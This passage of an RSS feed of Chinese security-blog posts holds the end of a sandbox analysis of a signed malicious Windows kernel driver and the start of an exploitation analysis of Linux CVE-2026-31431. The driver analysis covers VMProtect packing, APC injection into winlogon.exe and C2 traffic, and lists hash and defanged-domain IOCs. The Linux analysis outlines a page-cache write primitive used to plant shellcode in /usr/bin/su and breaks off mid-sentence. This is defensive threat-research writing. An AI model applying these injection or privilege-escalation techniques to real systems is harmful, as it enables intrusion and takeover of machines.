36eaf1ce966828e226b39003e5405b7ee4688b7a</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型： SYS</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小：110.63 KB (113288 bytes)</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">分析报告链接： </span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=0db293029856af733bac5da0d8780c3e&amp;sk=79194724" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=0db293029856af733bac5da0d8780c3e&amp;sk=79194724</a></span></p></li><li style="box-sizing: border-box;"><p><span leaf="">签名信息：</span></p></li></ul><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf="">  <span class="code-snippet__attribute">Verified</span>:       Signed</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Signing</span> date:   <span class="code-snippet__number">19</span>:<span class="code-snippet__number">19</span> <span class="code-snippet__number">2018</span>/<span class="code-snippet__number">5</span>/<span class="code-snippet__number">23</span></span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Publisher</span>:      Henan ** Intelligent Technology Co., Ltd.</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Company</span>:        n/a</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Description</span>:    n/a</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Product</span>:        n/a</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">Prod</span> version:   n/a</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">File</span> version:   n/a</span></code><br/><code><span leaf="">  <span class="code-snippet__attribute">MachineType</span>:    <span class="code-snippet__number">64</span>-bit</span></code><br/></pre></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">攻击手法</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">基于天穹沙箱动态行为监控，该样本的攻击流程如下：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">1. 驱动加壳与内存解密</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">恶意驱动文件经 VMProtect 虚拟化保护，静态分析难度极高，如图 4 所示。加载至内核后，驱动在内存中动态解密后续代码段，可规避基于文件特征的静态检测。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="vmp_packer_detect" class="rich_pages wxw-img" data-ratio="0.2921760391198044" data-type="png" data-w="818" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005515" src="https://wechat2rss.xlab.app/img-proxy/?k=0c7e4078&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvJ0GZib2iaq4WArZ5nTH65ia6vpkWk29NSGKSibdGc1cbSDM0gV6xJaMA2CYjIw6sZV0qgRevKF2kzkvwLOIJzKDHT9aGicYjic4ezE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 VMP 保护</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">针对这种加壳的隐匿行为，天穹沙箱具备内核态驱动内存的 Dump 能力，能够捕获驱动运行时的动态解密状态。如图 5 所示，从沙箱动态 dump 出的内存字符串明显比原始文件中的静态字符串更丰富。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="search_string" class="rich_pages wxw-img" data-ratio="0.2740740740740741" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005516" src="https://wechat2rss.xlab.app/img-proxy/?k=827ddb3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdtvdRrh8ngWc4SpUMMFKRHRYXN2tzukpI7WvUU7MicoJ2E4Ol9qS6UbsAlUs8ic5OcLr9ruiaGxjTmsa6QZFym5qTrvdTS1soPfss%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 内存 dump 字符串</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">2. 目标进程定位</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">样本调用 ZwQuerySystemInformation 获取系统进程信息，遍历进程列表匹配 winlogon.exe 进程并获取其进程 ID；随后通过 PsLookupProcessByProcessId 取得目标进程的对象指针。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">3. APC 注入执行</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">分配内核内存存储恶意 APC 回调函数，初始化 KAPC 结构体，设置 NormalRoutine 指向恶意载荷，调用 KeInsertQueueApc 将 APC 请求插入目标线程队列，如图 6 所示。一旦 winlogon.exe 执行 Sleep 或 WaitForSingleObject 等可警报等待函数，恶意代码即被触发执行。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="apc_inject" class="rich_pages wxw-img" data-ratio="0.039029535864978905" data-type="png" data-w="948" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005514" src="https://wechat2rss.xlab.app/img-proxy/?k=ab09accd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMds0tzQxHoTotYLP7lKz3icibMicbGvLQuxnnHkry3opg6uhslDaaAjgL1ZdgsibLzlQxCQ0qAiacicZR2I1Wnjibxn6j5ykzCEWjrfE50%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图6 APC 注入</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">4. 命令控制通信</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">恶意载荷完成进程注入后，调用 WinHTTP 组件初始化网络环境，通过 HTTP 协议主动连接远端控制端 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pc.589s[.]cn</span></code><span leaf="">，成功建立 C2 通信链路并执行上线操作。</span></p><div data-role="title" data-tools="135编辑器" data-id="125387" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="border-top: 1px solid #6ab4fd;padding: 0 0 0 4%;box-sizing:border-box;"><div style="display: flex;justify-content: flex-start;align-items: flex-start;margin: -6px 0 0;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #4e84d8;padding: 4px 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;">三、IOC  </span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">恶意文件（MD5）</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">40270b20bd748bf333c034b8e5e59e19      样本一</span></code><br/><code><span leaf="">67ae545c9a15173615ca55fd4fbb3d54      样本二</span></code><br/></pre></p><p><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">恶意文件 IOC</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">pc.<span class="code-snippet__number">589s</span><span class="code-snippet__selector-attr">[.]</span>cn</span></code><br/><code><span leaf="">www_rosemarie02_com.<span class="code-snippet__number">589s</span><span class="code-snippet__selector-attr">[.]</span>cn</span></code><br/><code><span leaf="">www_dcsnf_com.<span class="code-snippet__number">589s</span><span class="code-snippet__selector-attr">[.]</span>cn</span></code><br/><code><span leaf="">dwav<span class="code-snippet__selector-class">.cose</span><span class="code-snippet__selector-attr">[.]</span>space</span></code><br/><code><span leaf="">dwns<span class="code-snippet__selector-class">.cose</span><span class="code-snippet__selector-attr">[.]</span>space</span></code><br/></pre></p><p><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">报告链接</span></strong><span leaf=""><br/></span><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><span textstyle="" style="font-weight: bold;">样本一分析报告链接：</span><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=fe83cb547ee7d49b6a889c3eccce75fa&amp;sk=73041861" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=fe83cb547ee7d49b6a889c3eccce75fa&amp;sk=73041861</a></span></span><span leaf=""><br/></span><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><span textstyle="" style="font-weight: bold;">样本二分析报告链接：</span></span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=0db293029856af733bac5da0d8780c3e&amp;sk=79194724" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=0db293029856af733bac5da0d8780c3e&amp;sk=79194724</a></span></span></p><div data-role="title" data-tools="135编辑器" data-id="125387" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="border-top: 1px solid #6ab4fd;padding: 0 0 0 4%;box-sizing:border-box;"><div style="display: flex;justify-content: flex-start;align-items: flex-start;margin: -6px 0 0;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #4e84d8;padding: 4px 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;">四、技术支持与反馈</span></span></strong></p></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-weight: 400;letter-spacing: 0.544px;text-align: justify;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-weight: 400;letter-spacing: 0.544px;text-align: justify;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5d7eaeef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw%2F640%3Fwx_fmt%3Djpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=92f54a65&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489168%26idx%3D1%26sn%3D11eabbdd46d51698d8f31922153e4bb4">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 28 May 2026 17:00:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】内核暗渡：Linux Copy Fail 漏洞 CVE-2026-31431 利用分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489157&amp;idx=1&amp;sn=2db22b529494b5c90d8d21347b364bb2</link>
      <description>01 概述近期，Linux 内核爆出高危本地提权漏洞 CVE-2026-31431（Copy Fail），影响</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-05-11 16:57</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cdc23d6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdtacsFSMWCWOPJzeEGmOLiaYThGBtGHSicibJgK1Yic7WkicvmFEceU45gDwcoRp6wId7yWJnokzBmnwd5Lib69cJlxd4XYRV4qzNdLE%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>01 概述近期，Linux 内核爆出高危本地提权漏洞 CVE-2026-31431（Copy Fail），影响</p>
  <div><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong data-original-title="" title=""><span leaf=""><span textstyle="" style="font-size: 18px;">01</span></span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;"> 概述</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">近期，Linux 内核爆出高危本地提权漏洞 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">CVE-2026-31431（Copy Fail）</span></strong><span leaf="">，影响范围十分广泛。该漏洞源于 AF_ALG 加密子系统在处理 splice 零拷贝数据时，对 scatterlist 的不当合并优化，导致攻击者可将任意可读文件的页缓存页“嫁接”到目标缓冲区，实现对 setuid 程序的内存级代码篡改。</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">漏洞原语：</span></strong><p><span leaf=""> AF_ALG + splice → 4 字节可控写入任意可读文件的页缓存。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">利用方式：</span></strong><p><span leaf=""> 反复调用原语，将 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/usr/bin/su</span></code><span leaf=""> 的页缓存逐步替换为 shellcode。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">触发方式：</span></strong><p><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">execve(&#34;/usr/bin/su&#34;)</span></code><span leaf=""> → 内核直接加载已被篡改的页缓存版本。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">利用结果：</span></strong><p><span leaf=""> shellcode 以 setuid-root 权限运行，su 